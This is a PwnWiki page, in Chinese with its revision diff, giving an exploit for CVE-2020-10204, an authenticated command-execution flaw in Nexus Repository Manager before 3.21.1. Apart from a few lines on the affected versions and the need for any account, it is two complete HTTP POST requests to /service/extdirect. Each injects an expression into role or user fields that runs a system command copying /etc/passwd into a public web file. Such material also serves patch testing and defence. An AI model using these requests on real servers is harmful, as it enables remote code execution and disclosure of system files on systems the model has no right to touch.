Difference between revisions of "CVE-2020-10204 Nexus Repository Manger extdirect 後台遠程命令執行漏洞"
From PwnWiki
(Created page with "<languages /> <translate> ==漏洞影響== </translate> Nexus < 3.21.1 <translate> ==前提條件== </translate> <translate> 漏洞觸發需要任意賬戶權限 </translate>...") |
(Marked this version for translation) |
||
| Line 1: | Line 1: | ||
<languages /> | <languages /> | ||
<translate> | <translate> | ||
| − | ==漏洞影響== | + | ==漏洞影響== <!--T:1--> |
</translate> | </translate> | ||
Nexus < 3.21.1 | Nexus < 3.21.1 | ||
<translate> | <translate> | ||
| − | ==前提條件== | + | ==前提條件== <!--T:2--> |
</translate> | </translate> | ||
<translate> | <translate> | ||
| + | <!--T:3--> | ||
漏洞觸發需要任意賬戶權限 | 漏洞觸發需要任意賬戶權限 | ||
</translate> | </translate> | ||
<translate> | <translate> | ||
| − | ==漏洞利用== | + | ==漏洞利用== <!--T:4--> |
</translate> | </translate> | ||
<translate> | <translate> | ||
| + | <!--T:5--> | ||
該漏洞需要訪問更新角色或創建角色接口，登錄任意用戶後修改 NXSESSIONID | 該漏洞需要訪問更新角色或創建角色接口，登錄任意用戶後修改 NXSESSIONID | ||
| + | <!--T:6--> | ||
發送請求包執行命令 | 發送請求包執行命令 | ||
</translate> | </translate> | ||
| Line 35: | Line 38: | ||
<translate> | <translate> | ||
| + | <!--T:7--> | ||
另外一個漏洞點 | 另外一個漏洞點 | ||
</translate> | </translate> | ||
Latest revision as of 14:30, 8 July 2021
漏洞影響
Nexus < 3.21.1
前提條件
漏洞觸發需要任意賬戶權限
漏洞利用
該漏洞需要訪問更新角色或創建角色接口，登錄任意用戶後修改 NXSESSIONID
發送請求包執行命令
POST /service/extdirect HTTP/1.1
Host:
accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.856555763510765
Content-Type: application/json
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.856555763510765; NXSESSIONID=e9d6620d-6843-49a6-a887-cd7cef74d413
Content-Length: 304
{"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"1111","name":"2222","description":"3333","privileges":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('cp /etc/passwd ./public/vuln.html')}"],"roles":[]}],"type":"rpc","tid":89}
另外一個漏洞點
POST /service/extdirect HTTP/1.1
Host:
accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.856555763510765
Content-Type: application/json
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.856555763510765; NXSESSIONID=e9d6620d-6843-49a6-a887-cd7cef74d413
Content-Length: 304
{"action":"coreui_User","method":"update","data":[{"userId":"www","version":"2","firstName":"www","lastName":"www","email":"[email protected]","status":"active","roles":["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('cp /etc/passwd ./public/vuln.html')}"]}],"type":"rpc","tid":9}
